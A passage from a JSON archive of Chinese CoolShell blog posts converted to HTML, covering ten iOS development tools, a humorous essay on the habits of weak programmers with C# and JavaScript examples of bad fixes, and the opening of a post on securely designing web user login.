href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5265.html\">C++11 中值得关注的几大变化（详解）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-2 10个必需的iOS开发工具和资源.html",
    "content": "<html><body><p>界面总不是一件很容易事，尤其是iPhone/iPad的界面，做过iOS开发的程序员，一定会感到开发iPhone/iPad的界面是一件多么不容易的事。下面的文章来自<a href=\"http://alexefish.com/post/15967480885/10-essential-ios-developer-tools-resources\" target=\"_blank\">10 Essential iOS Developer Tools &amp; Resources</a>，这个文章介绍了十个iOS开发的基础性工具和资源，其一定会很有效地帮你做iOS的开发。（在这里，我再闲扯一句，虽然Android的开发好像整整XML文件界面就出来了，其明显比iOS的开发要容易很多，但是我还是觉得iOS的生命力要强过Android，看看Android今天的应用就知道，有时候入门门槛低不是一些好事，大多数的程序员搞出来的Android代码和软件简直令人作呕，就像不是每个人都能烧得手好菜一样。（“<a href=\"https://coolshell.cn/articles/3589.html\" target=\"_blank\" title=\"食客还是大厨\">食客与大厨</a>”，也许偏激，但值得你我思考），又把蛋扯远了）</p>\n<h4>1. Omnigraffle + Ultimate iPhone Stencil</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/omni.jpeg\"><img alt=\"\" class=\"aligncenter size-full wp-image-293\" height=\"120\" src=\"../wp-content/uploads/2011/08/omni.jpeg\" title=\"omni\" width=\"695\"/></a></p>\n<p><a href=\"http://www.omnigroup.com/products/omnigraffle/\" target=\"_blank\">Omnigraffle</a> 是一个很强大的像Microsoft Viso的一个软件，其只能于运行在Mac OS X和iPad平台之上。它曾获得2002年的苹果设计奖。在这里，你可以下载 <a href=\"http://graffletopia.com/stencils/413\" target=\"_blank\">Ultimate iPhone Stencil</a> ，然后使用Omnigraffle 来非常快地制作你的iPhone应用的演示界面。（查看了一下Omnigraffle 的iPad版，真贵，$49.99。作者居然推荐买，TNND，一看就是托）。</p>\n<p><a href=\"http://www.omnigroup.com/products/omnigraffle/\" target=\"_blank\">Omnigraffle Link</a>, <a href=\"http://graffletopia.com/stencils/413\" target=\"_blank\">Ultimate iPhone Stencil Link</a></p>\n<p><span id=\"more-5089\"></span></p>\n<h4>2. Glyphish Icons</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/glphy.jpeg\"><img alt=\"\" class=\"aligncenter size-full wp-image-295\" height=\"120\" src=\"../wp-content/uploads/2011/08/glphy.jpeg\" title=\"glphy\" width=\"695\"/></a></p>\n<p>你可能能从上面的这些图标中看到Flipboard 和 Twitter 在iOS上的应用使用了其中的一些图标。是的，这些个小图标对你的开发很有帮助。作者强烈推荐你花$25去购买 <a href=\"http://glyphish.com/\" target=\"_blank\">Glyphish</a> 的Pro版。当然啦，你都能花$99/year开发iOS的程序，你还怕花这区区的25刀？</p>\n<p><a href=\"http://glyphish.com/\" target=\"_blank\">Glypish Link</a></p>\n<h4>3. teehan + lax iPhone 4 GUI PSD</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/teehan.jpeg\"><img alt=\"\" class=\"aligncenter size-full wp-image-296\" height=\"120\" src=\"../wp-content/uploads/2011/08/teehan.jpeg\" title=\"teehan\" width=\"695\"/></a></p>\n<p>teehan+lax 是一个加拿大多伦多的代理商。他们经常发布一些他们自己内部用的资源， <a href=\"http://www.teehanlax.com/downloads/iphone-4-guid-psd-retina-display/\" target=\"_blank\">iPhone 4 GUI PSD</a> 就是其中的一个，这是一个PSD资源文件其包括了iPhone 4的UI 视图控制和一般的UI元件。这是免费让你下载的。</p>\n<p><a href=\"http://www.teehanlax.com/blog/iphone-4-gui-psd-retina-display/\" target=\"_blank\">teehan + lax iPhone 4 GUI PSD Link</a></p>\n<h4>4. Stanford University iPhone Development Lectures</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/stanford.jpeg\"><img alt=\"\" class=\"aligncenter size-full wp-image-297\" height=\"120\" src=\"../wp-content/uploads/2011/08/stanford.jpeg\" title=\"stanford\" width=\"695\"/></a></p>\n<p>斯坦福大学iPhone开发教程，这可能是iOS开发者的圣经级的课程了，你可以从 iTunes U上下载，当然，国内的各大门户公开课也有这个视频，还有中文字幕。比如网易公开课：<a href=\"http://v.163.com/special/opencourse/iphonekaifa.html\">http://v.163.com/special/opencourse/iphonekaifa.html</a></p>\n<p><a href=\"http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=384233225\" target=\"_blank\">iTunes U Link</a></p>\n<h4>5. 71 Squared</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/71sq.jpeg\"><img alt=\"\" class=\"aligncenter size-full wp-image-298\" height=\"120\" src=\"../wp-content/uploads/2011/08/71sq.jpeg\" title=\"71sq\" width=\"695\"/></a></p>\n<p>如果你要搞iPhone的游戏开发，那么你可看看 <a href=\"http://www.71squared.com/iphone-tutorials/\" target=\"_blank\">71 Squared</a> 上的资源和教程，让你从零开始搞iPhone游戏。不知道你有没有听说过 Tiny Wings 这个由 Andreas Illiger 开发的很漂亮的并获得很大成功的游戏？Andreas 就是从这个网站上学习开发的。这个网站的的资源太丰富了，你绝对不能错过。</p>\n<p><a href=\"http://www.71squared.com/iphone-tutorials/\" target=\"_blank\">71 Squared Link</a></p>\n<h4>6. Charles</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/charles.jpeg\"><img alt=\"\" class=\"aligncenter size-full wp-image-302\" height=\"120\" src=\"../wp-content/uploads/2011/08/charles.jpeg\" title=\"charles\" width=\"695\"/></a></p>\n<p>如果你想让你的应用发出一个HTTP请求，并通过仿真器来调试，这恐怕是一件很难的事。 <a href=\"http://www.charlesproxy.com/\" target=\"_blank\">Charles</a> 是这样一个工具其强在让你看到所有的和互联网交互的请求。这个无价的工具可以让你节省巨大的时间来debug你的应用。当然，要价$50啊，很不便宜，但是还是那句话，$99刀一年你都花了，你还在乎这点钱？嘿嘿嘿</p>\n<p><a href=\"http://www.charlesproxy.com/\" target=\"_blank\">Charles Link</a></p>\n<h2>7. ASIHTTPRequest</h2>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/asihttp.jpeg\"><img alt=\"\" class=\"aligncenter size-full wp-image-303\" height=\"120\" src=\"../wp-content/uploads/2011/08/asihttp.jpeg\" title=\"asihttp\" width=\"695\"/></a></p>\n<p>和 Charles一样， <a href=\"http://allseeing-i.com/ASIHTTPRequest/\" target=\"_blank\">ASIHTTPRequest</a> 也是一个强大的封装其由 CFNetwork API构造。如果你想要从你的iPhone上调用一个Web API，那么 <a href=\"http://allseeing-i.com/ASIHTTPRequest/\" target=\"_blank\">ASIHTTPRequest</a> 一定会省你很多事。这个东西的文档极端的不错，并有成千上万的有用的功能几乎覆盖了所有的事，比如： PUT, DELETE, GET, POST 全都没有问题。</p>\n<p><a href=\"http://allseeing-i.com/ASIHTTPRequest/\" target=\"_blank\">ASIHTTPRequest Link</a></p>\n<h2>8. Stack Overflow</h2>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/stackoverflow2.jpeg\"><img alt=\"\" class=\"aligncenter size-full wp-image-313\" height=\"120\" src=\"../wp-content/uploads/2011/08/stackoverflow2.jpeg\" title=\"stackoverflow2\" width=\"695\"/></a></p>\n<p>Stack Overflow 这个东西不用说了吧。我个人认为这是这个世界上最佳的问问题的地方，就算你不问，你就上去查一查，你也能看到一大堆已经有人问过的问题。通过问题来加深认识，是进阶的要做的事。在stakeoverflow面前，什么CSDN，it-pub，等等国内的技术问题解决网站完全不值一题。</p>\n<p><a href=\"http://stackoverflow.com/\" target=\"_blank\">Stack Overflow Link</a></p>\n<h4>9. MBProgressHUD</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/mbprogress.jpeg\"><img alt=\"\" class=\"aligncenter size-full wp-image-307\" height=\"120\" src=\"../wp-content/uploads/2011/08/mbprogress.jpeg\" title=\"mbprogress\" width=\"695\"/></a></p>\n<p>MBProgressHUD 是一个用来做没有文档的 UIProgressHUD UIKit 类的替代品。其就是用来显示一个正在下载中的指示器。这个东西很容易使用，并且有很好的文档，你需要几分钟就可以把其集成到你的应用中。你可以到 <a href=\"https://github.com/jdg/MBProgressHUD\" target=\"_blank\">github repository</a>上查看其资料。作者号称其99%的应用都使用了这个东西。</p>\n<p><a href=\"https://github.com/jdg/MBProgressHUD\" target=\"_blank\">MBProgressHUD Link</a></p>\n<h4>10. Apple Documentation</h4>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2011/08/iosdev.jpeg\"><img alt=\"\" class=\"aligncenter size-full wp-image-308\" height=\"120\" src=\"../wp-content/uploads/2011/08/iosdev.jpeg\" title=\"iosdev\" width=\"695\"/></a></p>\n<p>作者说，最后一个资源也是最好的一个，那就是苹果的官方文档 <a href=\"http://developer.apple.com/devcenter/ios/index.action\" target=\"_blank\">Apple Documentation</a>，示例代码，视频，各种类的参考文档，你在开发过程中绝对无法离开它。在你去Stack Overflow和Google的时候，你应该先去看看这个文档。</p>\n<p><a href=\"http://developer.apple.com/devcenter/ios/index.action\" target=\"_blank\">iOS Documentation Link</a></p>\n<p>上面是原作者介绍的一些资源，看起来是给初学者用的，我也是初学者，在<strong>这里想问一下各位熟悉iOS开发的大拿，在这个基础上，你们有没有什么推荐？</strong></p>\n<p><em><strong>—-更新 2011/8/3，新浪微博上我以前的一个同事给了大家下面的推荐—-</strong></em></p>\n<p>//<a href=\"http://weibo.com/n/%E6%9D%8E%E6%9D%A8iBabyNote\">@李杨iBabyNote</a>：加上Three20吧，一个非常好的的开源iphone UI library. facebook 用的，品质有保证。 还有tweetero (Open Source Twitter App for iPhone),国内sina/qq微博 API 基本copy twitter. 所以想做iphone上和围脖相关的应用可以参考此代码<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2719.html\"><img alt=\"苹果开发工具Xcode 4 第二预览版\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2719.html\">苹果开发工具Xcode 4 第二预览版</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2913.html\"><img alt=\"消费者的消费观\" height=\"150\" src=\"../wp-content/uploads/2010/09/1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2913.html\">消费者的消费观</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11112.html\"><img alt=\"由苹果的低级Bug想到的\" height=\"150\" src=\"../wp-content/uploads/2014/02/apple_goto_fail-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11112.html\">由苹果的低级Bug想到的</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5089.html\">10个必需的iOS开发工具和资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-23 弱爆程序员的特征值.html",
    "content": "<html><body><p>【<strong><span style=\"color: #cc0000;\">感谢网友</span><a href=\"https://coolshell.cn/articles/author/sumtec\" rel=\"author\" title=\"由 sumtec 发布\">sumtec</a><span style=\"color: #cc0000;\">投递此文，很欢乐也有意思，与大家共勉</span></strong>】</p>\n<p>首先说明：</p>\n<p>1、以下特征是真实遇到过的，同事犯过的，乃至我自己也犯过的；<br/>\n2、为了剧情需要，某些例子进行了一些夸张修饰等演绎创作，如无雷同，请勿生气；<br/>\n3、如果你出现过以下症状之一，并不代表你就是弱爆了，但是如果你一直出现，乃至一说到这个大家就能联想到你，那么你就得小心了；<br/>\n4、如果你是集这几个的大乘者，恭喜你，你已经找到了离开这个行业的充足理由了。</p>\n<h4>好了，搞定！</h4>\n<p>“那个Bug解决了吗？”</p>\n<p>“好了，搞定！”</p>\n<p>“这么快？”</p>\n<p>正当你非常欣喜的时候，就传来了噩耗：刚才还能编译成功的，就失败了。（好吧，我们的集成编译尚未成功配置上，理论上这种事情应该会被退回。）又或者能编译成功，但是呢，原来明明能起作用的一个下拉框，突然发神经的不起作用了。最隐蔽的莫过于，一切正常，但是当你看到代码的时候，你就晕厥过去了。比如我们曾经发现了一个Bug，简单说就是每次用户点击某个东西，就会执行下面的这段C#代码：</p>\n<p><code class=\"EnlighterJSRAW\">controlPropertyPanel.PropertyChanged += this.UpdatePropertyOnChanged;</code></p>\n<p>这个Bug很明显会导致速度越来越慢，因为同一个更新操作会被更新N次，并且这个N会越来越大。其实这个Bug已经够弱了，但是后来居然被修改为：</p>\n<p><span id=\"more-5292\"></span></p>\n<pre class=\"EnlighterJSRAW\">controlPropertyPanel.PropertyChanged -= this.UpdatePropertyOnChanged;\ncontrolPropertyPanel.PropertyChanged += this.UpdatePropertyOnChanged;</pre>\n<p>这段代码能编译，能执行，但是就是弱爆了。因为这不仅仅没有从根本上去掉造成问题的逻辑，还会带来更多的困惑：为什么要先减后加呢？</p>\n<p>这类特征，请大家看看有趣的《<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\" title=\"各种流行的编程风格\">各种流行的编程风格</a>》，我这个例子算是一种撞大运。我觉这吧，这类问题都是因为只想解决一些表面的东西为目的，完全不管底下的其它任何问题而造成的。</p>\n<h4>那估计是他的Bug</h4>\n<p>“这个问题为啥还没解决呢？”</p>\n<p>“我觉得应该是他那里边的Bug，我调不了。”</p>\n<p>“哦……”</p>\n<p>这个“他”可以是某一位同事，或者前同事，或者微软，或者别的什么公司，再或者某个开源代码的作者。这些个我都遇到过，比如说是另一位现在在职的同事吧。当你告诉这位同事这个Bug似乎在他那儿，并且问问什么时候解决，他也许会很愧疚的立刻调试，可最后结果却仍然是开头对话主人翁的所写代码的问题。</p>\n<p>再比如说是微软吧，那么对话可能就会包括：“啊，SilverLight真是烂，老是内存泄漏、崩溃等……”“是啊是啊！烂死了！早知道用Flash了。”又或者会说：“微软就是烂，Java就是好。”其实，我不想比较什么SilverLight还是Flash，.NET还是Java。因为在讨论这些问题之前，先最好想想，这真的是别人的错么？相信是其他人的错是一件很简单的事情，因为这样推脱之后你就可以啥都不做了，反正不是我的错。</p>\n<p>如果真的发现了这是别人的Bug并证明了，那倒好说。但这种特征是一种纯粹的怀疑，并没有丝毫的证明。在仔细找了自己所有可能犯的错之后，如果你怀疑是别人的问题，那请求证一下。</p>\n<h4>无图无真相！</h4>\n<p>“楼主，无图无真相啊！”</p>\n<p>“楼主，无代码无真相啊！”</p>\n<p>“楼主，给翻译一下啊！”</p>\n<p>据说Linus在别人询问Linux内存管理的一个什么问题时，回答道“Read the fxxxing source code”，很多时候我也有类似的冲动。我发现在信息发达的时代，不少人的阅读能力、动手能力都严重退化了。这些人最好就是你亲自来帮他把问题解决了，他才不想了解里面到底 发生了什么。这种问题体现在博客里面，就是寄希望于你写得图文并茂，图嘛最好花里胡哨同时言简而意概，文字嘛最好大段大段的代码。其实图不是重要的，只是为了好看，重点是代码，这样他一Copy就可以直接解决他们的问题了。</p>\n<p>比方说，Silverlight里面没有各种图像格式的编码器，于是当你希望保存Jpg的时候怎么办呢？Google一下，发现原来有人写过一个FluxJpeg的编码器。下载下来一跑，唉还真能用哎。之后就直接签入，也不捎带看一下有没有什么问题，或者设计不合理的地方。（其实真的有，会很慢，因为有大量毫无必要的数组拷贝。）</p>\n<p>又或者说，遇到了某个Bug，搜索一下发现，哎，还真有人遇到过，而且还有代码哎！把代码扒下来一跑，发现好像解决了，至于为什么就不管了。甚至还遇到过根本就不管解决不解决问题，反正代码扒下来了就签入了的。</p>\n<p>再比如，写一篇博客讲解如何缩减.NET编译出来的文体大小，其中提到许多概念需要先阅读微软官方的一个<a href=\"http://download.microsoft.com/download/d/c/1/dc1b219f-3b11-4a05-9da3-2d0f98b20917/partition%20ii%20metadata.doc\" target=\"_blank\">文档</a>。结果，还是会有人回复说，你那个文章里面提到那么多的Blob，也不说说Blob里面都有什么，大概是很不满意吧。可是这个文档里面都有啊，难道就不能自己阅读一下？其实即便我连这个文档都没有给出，自己也应该有这个能力去进行思考，去动手寻找。</p>\n<p>千万不要退化成一个啥都要别人给你嚼烂了才能够吞下去，吞下去也不会消化吸收的人。这样的人大概别人给的是大便，只要有代码无真相，也会照样吃下去的。若真如此，那你打算如何提高呢？</p>\n<h4>那是个对象！</h4>\n<p>“这个ExpressionVisitor，它是用来干什么的？”</p>\n<p>“……”</p>\n<p>“好吧，或者这么说，他是一个什么东西？”</p>\n<p>“他是一个对象！”</p>\n<p>“啊？”</p>\n<p>“哦，是一个对象的实例。”</p>\n<p>大概这样的回答，和那个微软工程师说“<a href=\"http://blog.oasisfeng.com/2007/09/21/experiencing-support-from-ms/\">你在直升飞机上</a>”差不多——反正你也不能说是错的，但是就是没什么意义。其实不知道没啥问题，人又不是神，怎么可能都知道呢？不去仔细了解和学习问题也不严重，因为你可以改。但是当你习惯性的随便找一个绝对没错但又不说明任何问题的答案，甚至似是而非的东西来对付的时候，你就离弱爆的边缘很近了。</p>\n<p>当然，上面的对话也许是比较极端的。一个稍弱一点的对话版本是：</p>\n<p>“这个内存泄漏是怎么造成的呢？”</p>\n<p>“嗯，会不会是图片放的位置不对呢？”</p>\n<p>哈，还是很夸张对吧？没办法，写博客有时候需要夸张的文字，否则你无法理解我的意思是：有时候，大家会倾向于从自己的记忆中寻找一些相似的物品，然后选择相似度自认为比较高的东西出来当作答案，而全然不管两者之间的逻辑是否有哪怕那么一丝的关联。也许很多时候，我们确实需要从相似的东西开始，但请别把他当作终点。程序是需要严谨的逻辑的，所以你也必须非常严谨的去推演。</p>\n<p>关于这类的问题真的太多太多了，比如我指着下面这段代码当中的红字：</p>\n<p>var dictionary = new Dictionary&lt;string, string&gt;();<br/>\ndictionary<strong><span style=\"color: #ff0000;\">[“someKey”]</span></strong> = “someValue”;</p>\n<p>“这句话说明了什么？”</p>\n<p>“说明dictionary是一个数组。”</p>\n<h4>集大成者</h4>\n<p>最后我举一个集大成者的例子，说，有个任务是要在SilverLight应用上面添加一个“收藏本站点”。好，怎么解决呢？网上一搜，发现有很多这样的代码：</p>\n<pre class=\"EnlighterJSRAW\">function AddBookmark(Url, LabeName) {\n  if (document.all)\n  {\n    window.external.addFavorite(Url, LabeName);\n  }\n  else if (window.sidebar)\n  {\n    window.sidebar.addPanel(LabeName, Url, '');\n  }\n}</pre>\n<p>然后直接扒下来就放上去了，通过某种方式在SilverLight中调用这段JavaScript，签入，搞定了！结果到了测试那边发现完全不能用，无论在IE6/7/8/9/10，还是在FireFox/Safari/Chrome上面，都不能使用。我问：</p>\n<p>“这是什么原因呢？”</p>\n<p>“不知道，反正浏览器报告没有权限，可能是浏览器的安全设置原因吧，或者操作系统的Bug，也可能是浏览器的某种Bug？”</p>\n<p>“不可能啊？这些代码存在很多年了，要有问题早就能在网上搜索到了。”</p>\n<p>“那也许是SilverLight调用的时候有什么安全问题。哎！SilverLight好烦啊！”</p>\n<p>“那怎么还没有解决呢？”</p>\n<p>“好，我马上解决它！”</p>\n<p>很快，那段Javascript就变成了：</p>\n<pre class=\"EnlighterJSRAW\">function AddBookmark(Url, LabeName) {\n  try\n  {\n    if (document.all)\n    {\n      window.external.addFavorite(Url, LabeName);\n    }\n    else if (window.sidebar)\n    {\n      window.sidebar.addPanel(LabeName, Url, '');\n    }\n  }\n  catch\n  {\n    alert(\"您的浏览器因为安全设置的问题无法收藏，请手动添加收藏！\");\n  }\n}</pre>\n<p>看到这样的代码，我彻底震惊了。亲自调试了一下，发现确实报告了一个“没有权限”的异常。但是，我还发现，那个Url参数的值是“www.adomainname.com\\test\\page.html”。那这不废话么！浏览器认为你要收藏的是一个本地硬盘上的路径，怎么可能在一个Internet Zone上允许收藏这种路径呢？我于是指着代码问：</p>\n<p>“这个Url是什么？”</p>\n<p>“是一个变量”</p>\n<p>“啊？”</p>\n<p>“哦，不对，是一个参数。”</p>\n<p>你是否也有类似的经历呢？</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3005.html\"><img alt=\"代码重构的一个示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3005.html\">代码重构的一个示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2058.html\"><img alt=\"各种流行的编程风格\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2058.html\">各种流行的编程风格</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5292.html\">弱爆程序员的特征值</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-25 你会做Web上的用户登录功能吗？.html",
    "content": "<html><body><p>Web上的用户登录功能应该是最基本的功能了，可是在我看过一些站点的用户登录功能后，我觉得很有必要写一篇文章教大家怎么来做用户登录功能。下面的文章告诉大家这个功能可能并没有你所想像的那么简单，这是一个关系到用户安全的功能，希望大家能从下面的文章中能知道什么样的方法才是一个好的用户登录功能。<span style=\"color: #cc0000;\"><strong>以下内容，转载时请保持原文一致，并请注明作者和出处</strong></span>。</p>\n<h4>用户名和口令</h4>\n<p>首先，我们先来说说用户名和口令的事。这并不是本站第一次谈论这个事了。<a href=\"https://coolshell.cn/articles/2428.html\" target=\"_blank\" title=\"如何管理并设计你的口令\">如何管理自己的口令</a>让你知道怎么管理自己的口令，<a href=\"https://coolshell.cn/articles/3801.html\" target=\"_blank\" title=\"破解你的口令\">破解你的口令</a>让你知道在现代这样速度的计算速度下，用穷举法破解你的口令可能会是一件很轻松的事。在这里我想告诉从开发者的角度上来做设计这个用户名和口令的事。下面一几件规则：</p>\n<ul style=\"font-weight: bold;\">\n<li><span class=\"Apple-style-span\" style=\"font-weight: normal;\"><strong>限制用户输入一些非常容易被破解的口令</strong>。如什么qwert，123456, password之类，就像<a href=\"https://coolshell.cn/articles/2451.html\" target=\"_blank\" title=\"Twitter的禁用口令\">twitter限制用户的口令</a>一样做一个口令的黑名单。另外，你可以限制用户口令的长度，是否有大小写，是否有数字，你可以用你的程序做一下校验。当然，这可能会让用户感到很不爽，所以，现在很多网站都提供了UX让用户知道他的口令强度是什么样的（比如<a href=\"https://coolshell.cn/articles/3877.html\" target=\"_blank\" title=\"另类UX让你输入强口令\">这个有趣的UX</a>），这样可以让用户有一个选择，目的就是告诉用户——要想安全，先把口令设得好一点。</span></li>\n</ul>\n<ul style=\"font-weight: bold;\">\n<li><span class=\"Apple-style-span\" style=\"font-weight: normal;\"><strong>千万不要明文保存用户的口令</strong>。正如<a href=\"https://coolshell.cn/articles/2428.html\" target=\"_blank\" title=\"如何管理并设计你的口令\">如何管理自己的口令</a>所说的一样，很多时候，用户都会用相同的ID相同的口令来登录很多网站。所以，如果你的网站明文保存的话，那么，如果你的数据被你的不良员工流传出去那对用户是灾难性的。所以，用户的口令一定要加密保存，最好是用不可逆的加密，如MD5或是SHA1之类的有hash算法的不可逆的加密算法。CSDN曾明文保存过用户的口令。（另，对于国内公司的品行以及有关部门的管理方式，我不敢保证国内网站以加密的方式保存你的口令。我觉得，做为一个有良知的人，我们应该加密保存用户的口令）</span></li>\n</ul>\n<div><span id=\"more-5353\"></span></div>\n<ul style=\"font-weight: bold;\">\n<li><span class=\"Apple-style-span\" style=\"font-weight: normal;\"><strong>是否让浏览器保存口令</strong>。我们有N多的方法可以不让浏览器保存用户名和口令。但是这可能对用户来说很不爽。因为在真实世界里谁也记得不住那么多的口令。很多用户可能会使用一些密码管理工具来保存密码，浏览器只是其中一种。是否让浏览器保存这个需要你做决定，重点是看一下你的系统的安全级别是否要求比较高，如果是的话，则不要让浏览器保存密码，并在网站明显的位置告诉用户——保存口令最安全的地方只有你的大脑。</span></li>\n</ul>\n<ul style=\"font-weight: bold;\">\n<li><span class=\"Apple-style-span\" style=\"font-weight: normal;\"><strong>口令在网上的传输</strong>。因为HTTP是明文协议，所以，用户名和口令在网上也是明文发送的，这个很不安全。你可以看看<a 